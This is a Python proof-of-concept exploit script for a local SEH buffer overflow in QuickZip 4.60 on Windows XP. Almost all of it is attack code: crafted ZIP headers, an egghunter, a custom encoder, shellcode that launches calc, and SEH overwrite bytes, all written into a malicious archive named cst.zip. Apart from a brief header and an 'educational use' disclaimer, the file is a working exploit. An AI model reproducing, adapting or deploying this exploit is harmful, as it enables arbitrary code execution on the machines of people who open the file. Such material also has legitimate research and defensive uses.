QuickZip 4.x – ‘.zip’ Local Universal Buffer Overflow
#!/usr/bin/python # # ############################################################################### # Exploit Title : QuickZip 4.x (.zip) 0day Local Universal Buffer Overflow PoC Exploit # Date : 9/3/2010 # Author : corelanc0d3r & mr_me # Bug found by : corelanc0d3r (http://corelan.be:8800/) # Software Link : http://www.quickzip.org/downloads.html # Version : 4.60 # OS : Windows # Tested on : XP SP3 En # Type of vuln : SEH # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # ############################################################################### # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # how does this work? # http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/ print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "| http://www.corelan.be:8800 |" print "| security@corelan.be |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] QuickZip 4.x (.zip) 0day Local Universal Buffer Overflow PoC Exploit" header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00") header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00") header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00") # pure ascii egghunter, thanks to skylined egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1" "9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA"); calc = ("\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55" "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c" "\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" "\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49" "\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51" "\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50" "\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34" "\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51" "\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31" "\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50" "\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30" "\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c" "\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a" "\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a" "\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43" "\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45" "\x50\x41\x41"); # custom encoder encoder = ("\x25\x4A\x4D\x4E\x55" "\x25\x35\x32\x31\x2A" "\x2d\x55\x55\x55\x5f" "\x2d\x56\x55\x56\x5f" "\x2d\x55\x55\x55\x5e" "\x50" "\x25\x4A\x4D\x4E\x55" "\x25\x35\x32\x31\x2A" "\x2d\x2b\x6a\x32\x53" "\x2d\x2a\x6a\x31\x54" "\x2d\x2a\x69\x31\x54" "\x50" ); print "[+] Building PoC.." lol = "\x43" * 20 lol += egghunter lol += "\x41" * (223-len(lol)) lol += "\x61" lol += "\x53" lol += "\x5c" lol += encoder lol += "\x41" * (294-len(lol)) lol += "\x73\xf9\x41\x41" lol += "\x5c\x53\x46\x00" lol += "W00TW00T" lol += calc lol += "\x42" * (4064-len(lol)) lol += ".txt" exploit = header_1 + lol + header_2 + lol + header_3 mefile = open('cst.zip','w'); mefile.write(exploit); mefile.close() print "[+] Exploit complete!" |